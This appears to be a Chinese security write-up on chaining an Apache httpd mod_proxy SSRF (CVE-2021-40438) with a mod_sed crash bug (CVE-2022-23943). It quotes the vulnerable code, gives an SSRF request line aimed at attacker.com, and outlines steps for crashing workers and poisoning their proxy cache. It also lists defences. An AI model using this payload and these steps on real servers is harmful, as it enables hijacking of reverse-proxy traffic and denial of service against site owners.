探索 Apache httpd 多模块组合拳攻击
字数 1669 2025-08-06 12:20:41
Apache httpd 多模块组合拳攻击技术分析
背景介绍
本文详细分析Apache httpd服务器中多个模块组合利用的攻击手法,主要涉及CVE-2021-40438(mod_proxy SSRF漏洞)和CVE-2022-23943(mod_sed DoS漏洞)的组合利用。攻击者可以通过这些漏洞实现内存污染、SSRF攻击和进程控制等高级攻击手法。
漏洞分析
CVE-2021-40438: mod_proxy SSRF漏洞
漏洞原理
漏洞位于modules/proxy/proxy_util.c的fix_uds_filename函数中,该函数处理反向代理配置中的Unix域套接字(Unix Domain Socket)地址。
static void fix_uds_filename(request_rec *r, char **url) {
char *ptr, *ptr2;
if (!r || !r->filename) return;
if (!strncmp(r->filename, "proxy:", 6) &&
(ptr2 = ap_strcasestr(r->filename, "unix:")) &&
(ptr = ap_strchr(ptr2, '|'))) {
apr_uri_t urisock;
apr_status_t rv;
*ptr = '\0';
rv = apr_uri_parse(r->pool, ptr2, &urisock);
if (rv == APR_SUCCESS) {
char *rurl = ptr+1;
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);
*url = apr_pstrdup(r->pool, rurl);
memmove(r->filename+6, rurl, strlen(rurl)+1);
ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
"*: rewrite of url due to UDS(%s): %s (%s)",
sockpath, *url, r->filename);
} else {
*ptr = '|';
}
}
}
触发条件
r->filename前6个字符为"proxy:"r->filename中包含"unix:"字符串- "unix:"字符串后包含"|"字符
攻击利用
通过构造特殊请求,可以控制反向代理的目标地址:
GET /?unix:AAAAAAAA...AAA|http://attacker.com/ HTTP/1.1
当Unix域套接字路径过长时,解析会失败,导致请求被转发到"|"后的地址,实现SSRF。
内存缓存机制
Apache在第一次反向代理时会将请求的hostname与port保存在内存中,后续请求会直接使用这些缓存值而不重新赋值。这导致:
- 第一次SSRF成功后,后续请求会继续使用第一次的目标地址
- 攻击者可以通过控制第一次请求来污染内存,影响后续所有反向代理请求
关键代码位置:
/* Step One: Determine Who To Connect To */
uri = apr_palloc(p, sizeof(*uri));
if ((status = ap_proxy_determine_connection(p, r, conf, worker, backend, uri,
&locurl, proxyname, proxyport, req->server_portstr,
sizeof(req->server_portstr))))
goto cleanup;
ap_proxy_acquire_connection函数分配的内存空间不会被清空,导致后续请求复用之前的hostname和port。
CVE-2022-23943: mod_sed DoS漏洞
漏洞原理
漏洞位于mod_sed模块的appendmem_to_linebuf函数中:
static void appendmem_to_linebuf(sed_eval_t *eval, const char *sz, int len) {
unsigned int reqsize = (eval->lspend - eval->linebuf) + len;
if (eval->lsize < reqsize) {
grow_line_buffer(eval, reqsize);
}
memcpy(eval->lspend, sz, len);
eval->lspend += len;
}
当传入超大尺寸数据时,会导致内存计算异常,引发memcpy越界,最终使进程崩溃。
利用方法
- 传入4GB数据:导致len计算异常,发生越界
- 传入2GB数据(默认最大接受数据量):同样会导致memcpy越界
组合攻击手法
单进程环境攻击
- 利用mod_sed漏洞使Apache进程崩溃
- 进程重启后,立即发送精心构造的SSRF请求(利用mod_proxy漏洞)
- 污染内存中的hostname和port缓存
- 后续所有反向代理请求都会被重定向到攻击者控制的地址
多进程环境攻击
- 利用mod_sed漏洞使部分Apache进程崩溃
- 新启动的进程会接受新连接
- 向服务器发送大量请求,确保新进程处理第一个请求是攻击者的SSRF请求
- 污染新进程的内存缓存
- 重复上述过程,逐步控制所有工作进程
扩展攻击面
- 攻击本地unix socket:可以攻击Docker、Supervisor等本地服务
- 非HTTP协议攻击:TCP是数据流,可以用于攻击其他二进制协议服务
- 其他proxy模块影响:mod_proxy_ajp、mod_proxy_http2、mod_proxy_balancer、mod_proxy_wstunnel等模块也可能受影响
- 内存控制攻击:可能利用污染的内存区域进行更高级的攻击
- 版本影响:已验证Apache 2.4.43受影响,其他版本可能也存在类似问题
防御措施
- 及时更新Apache到最新版本
- 禁用不必要的模块(如mod_sed、mod_proxy等)
- 配置ProxyPass时使用固定、可信的后端地址
- 限制请求大小,防止DoS攻击
- 使用Web应用防火墙(WAF)过滤异常请求
环境配置
测试环境配置:
- Ubuntu 20.04
- Apache 2.4.43
- apr-1.6.5
- apr-util-1.6.1
- php7.4
必要模块配置:
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule sed_module modules/mod_sed.so
示例虚拟主机配置:
<VirtualHost *:8000>
ServerAdmin webmaster@localhost
ServerName localhost:8000
DocumentRoot /path/to/htdocs/proxy
LogLevel notice proxy:trace8
ErrorLog /path/to/error.log
CustomLog /path/to/access.log combined
ProxyPass /proxy "http://www.example.com/"
ProxyPassReverse /proxy "http://www.example.com/"
ProxyPass /exp "http://www.baidu.com/"
ProxyPassReverse /exp "http://www.baidu.com/"
</VirtualHost>
总结
本文详细分析了Apache httpd服务器中多个模块的组合利用手法,展示了如何通过SSRF漏洞污染内存缓存,并利用DoS漏洞重置进程状态。这种攻击手法具有较高的隐蔽性和危害性,管理员应高度重视并及时采取防护措施。